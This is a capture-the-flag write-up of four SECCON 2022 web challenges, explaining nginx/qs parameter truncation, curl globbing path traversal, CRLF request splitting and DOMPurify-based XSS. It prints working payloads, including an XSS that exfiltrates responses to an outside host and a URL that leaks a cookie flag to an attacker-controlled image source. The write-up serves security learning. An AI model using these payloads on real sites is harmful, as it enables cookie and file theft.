2022 SECCON CTF Quals WriteUps

This CTF is my First one after I join Balsn, and this writeup is my first one in full english.

Balsn get the 16th place at the end.

I solved some web challenges with my idol ginoah. The challenges are awesome!

web

skipinx

This challenge is solved by teamate Peter Cheng . I reviewed it after the contest.

There is an nginx before the express.js server, and it pass non-urldecoded query string to the express.js server.

  location / {
    set $args "${args}&proxy=nginx";
    proxy_pass http://web:3000;
  }

The web server will return flag only if  req.query.proxy not include nginx

  req.query.proxy.includes('nginx')
    ? res.status(400).send('Access here directly, not via nginx :(')
    : res.send(`Congratz! You got a flag: ${FLAG}`)

According to code found by Peter Cheng, the qs module, which express.js parse query string with, will only deal with first 1000 parameters, and the remain query string is ignored in req.query. Thus, we can pass a query string with more than 1000 parameters, and the last part proxy=nginx keep unparsed.

curl $(python -c 'print("http://target/?"+"proxy="+"q"*1000+"&a=b"*998+"&c=d")')

easylfi

The goal is to LFI /flag.txt

This flask app use curl to get a local file

        proc = subprocess.run(
            ["curl", f"file://{os.getcwd()}/public/{filename}"],
            capture_output=True,
            timeout=1,
        )

where filename is a path parameter

@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):

Apparently, we need to traverse like ../../../../flag.txt

There are two WAFs. The first one filter filename with % or ..

    if ".." in filename or "%" in filename:
        return "Do not try path traversal :("

Here, we use URL globbing to bypass the first WAF. {.}{.}/ equals to ../ , so

we can access flag.txt with {.}{.}/{.}{.}/flag.txt

The second WAF filter any response with content SECCON

@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response(b"Try harder")
    return response

I found a logic flaw in validate func used by custom template func. We can substitue any string for { , though the function is intented to allow only keys like {...}

    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"

But there's still a problem. We can only replace one { now, and it is not enough to enclose SECCON in curly brackets.

ginoah found that we can use {.,.} to make the filename we curl reflected in the output. e.g.

$ curl 'file:///app/public/{.}{.}/{.}{.}/flag.tx{\{,t}'
--_curl_--file:///app/public/../../flag.tx{
--_curl_--file:///app/public/../../flag.txt
SECCON{dummydummy}

Now we have two { , we can replace the output twice to eliminate string SECCON by GET /{.}{.}/{.}{.}/flag.tx{\{,t}?{=}{&{%0a--curl--file:///app/public/../../flag.txt%0aSECCON}=FLAG

The original solution by ginoah is trickier and shorter than it. We can use query string in file:// protocol, though it takes no effect.  The query string is revealed in the output e.g.

$ curl 'file:///app/public/{.}{.}/{.}{.,.}/flag.txt?\{'
--_curl_--file:///app/public/../../flag.txt?{
SECCON{dummydummy}
--_curl_--file:///app/public/../../flag.txt?{
SECCON{dummydummy}

Then, we can get the flag by

GET /{.}{.}/{.}{.}/{.}{.,.}/flag.txt%3f\{?{=}{&{%0aSECCON}=x

bffcalc

The service is full of proxies and composed of five components - nginx, bff, backend, report, bot. I conclude that the normal user can use service in two way.

First way is normal browsing nginx URL / -> bff cherrypy proxies -> backend evalute parameter 'expr' and return .

Another way is triggered by bot nginx URL /report -> report send to -> bot emulate as normal user, set cookie in site 'nginx:3000' and browse -> nginx URL / -> ...

There is an apparent XSS without any limitation when bot browsing http://nginx:3000 with provided expr, but we cannot access flag via only XSS since the FLAG is set in cookie with HTTPOnly flag.

The bff<->backend proxy communication is implemented by custom socket,  and it is apparently full of flaw.  The  first flaw is that cherrypy doesn't do urldecode for req.path_info , so we have a CRLF injection in bff.

method = req.method
path = req.path_info
if req.query_string:
    path += "?" + req.query_string
payload += f"{method} {path} HTTP/1.1\r\n"
bff/app.py

The second flaw is that custom socket recv at most 4096 bytes, then we have a HTTP Request Splitting. We can CRLF injection request and recieve all response at once.

    try:
        data = sock.recv(4096)
        body = data.split(b"\r\n\r\n", 1)[1].decode()
bff/app.py

It is important that bff can only get expr  from query string, but backend can get expr from both body and query string. And if length of expr is more than 50, backend just return it without eval. (This is also why a XSS occured.)

class Root(object):
    ALLOWED_CHARS = "0123456789+-*/ "

    @cherrypy.expose
    def default(self, *args, **kwargs):
        expr = str(kwargs.get("expr", 42))
backend/app.py

Thus, the attack chain is XSS -> CRLF Injection POST request-> steal header behind expr in body -> backend reflect expr  -> recieve all response at once -> XSS to send out the FLAG. It works in my computer :D

Unfortunately, it doesn't work at remote. It stop at User-agent: ...X11 After hours of debug, a bright idea suddenly occurs (called 通靈 in chinese). We  guess cherrypy parses body not only by & , but also by; . And it does. Remember that we can only get back the content in expr , and it is truncated by ; after X11 ;_;. We found there are two ; after expr, one is in User-agent , and the other is in Accept-language

For security reason, chrome disallow user to change some of headers, and User-agent is one of those, but Accept-Lanuage is not. We overwrite Accept-Lanuage, and set a custom header, which is located after User-agent. Thus, we can steal content after User-agent.

This is the final payload.

POST /report HTTP/1.1
Host: bffcalc.seccon.games:3000
Content-Length: 553
Content-Type: application/x-www-form-urlencoded

expr=%3Cimg+src%3Dx+onerror%3D%22fetch%28%27http%3A%2F%2Fnginx%3A3000%2Fapi%2520HTTP%2F1.1%250d%250aConnection:keep-alive%250d%250aHost%3Anginx%3A3000%250d%250a%250d%250aPOST%2520%2F%2520HTTP%2F1.1%250d%250aHost%3Alocalhost%3A3000%250d%250aContent-type%3Aapplication%2Fx-www-form-urlencoded%250d%250aContent-length%3A475%250d%250a%250d%250aexpr%3d%27,{headers:{aaa:'%3bexpr%3d','Accept-Language':'en-us'}}%29.then%28r%3D%3E%28r.text%28%29%29%29.then%28r%3D%3E%7Blocation.href%3D%27http%3A%2F%2Fcjis.ooo%3A4445%2F%27%2Bbtoa%28r%29%7D%29%22%3E%3C%2Fimg%3E

piyosay

This was solved by ginoah when i was asleep.

It is a XSS challenge, and FLAG is set in Cookie without HTTPOnly.

We can control two parameter message and emoji, and any assignment to innerHTML will be applied with trustedTypes default policy

    trustedTypes.createPolicy("default", {
      createHTML: (unsafe) => {
        return DOMPurify.sanitize(unsafe)
          .replace(/SECCON{.+}/g, () => {
            // Delete a secret in RegExp
            "".match(/^$/);
            return "SECCON{REDACTED}";
          });
      },
    });

It sanitize input and replace any string like /SECCON{.+}/g . And also do regex again to clean up secret in RegExp like RegExp.$_, RegExp.['$+']... .

Cookie is appended after message and deleted immediately.  Assign message.innerHTML with santized message and then assign again with sanitized and replaced emoji .

const main = async () => {
const params = new URLSearchParams(location.search);

const message = `${params.get("message")}${
document.cookie.split("FLAG=")[1] ?? "SECCON{dummy}"
}`;
// Delete a secret in document.cookie
document.cookie = "FLAG=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
get("message").innerHTML = message;

const emoji = get(params.get("emoji"));
get("message").innerHTML = get("message").innerHTML.replace(/{{emoji}}/g, emoji);
};

get func has a apparent object traversal problem when input is controllable, just like const emoji = get(params.get("emoji")); . And everyone knows, we can traverse any Node element to document via ownerDocument and any Document element to window via defaultView .

const get = (path) => {
	return path.split("/").reduce((obj, key) => obj[key], document.all);
};

So, what should we traverse to via emoji to get back our eliminated FLAG?

ginoah found that DOMPurify will saved removed part in DOMPurify.removed . And we trick DOMPurify to remove SECCON{.+} before it is replaced. Set message=<img src=http://attacker/{{emoji}}><script> and we get back FLAG via emoji=0/ownerDocument/defaultView/DOMPurify/removed/0/element/innerText/${i} . It replace {{emoji}} with the i-th char of FLAG, so we can leak FLAG char by char.

Final payload.

http://target/result?emoji=0/ownerDocument/defaultView/DOMPurify/removed/0/element/innerText/${i}&message=%3Cimg%20src=http://ATTACKER/{{emoji}}%3E%3Csciprt%3E

There are some interesting solution from others writeups.

@huli use the trick that when parent and iframe are cross-site, iframecannot manipulate document.cookie , no matter read/write.  Then get FLAG from top.opener.document.cookie

@tyage use an apparent(?) XSS payload and also the immutable cookie trick in iframe . My ancestor said that it is dangerous to do any string manipulation after DOMPurify.sanitize, and we just overlook it lol.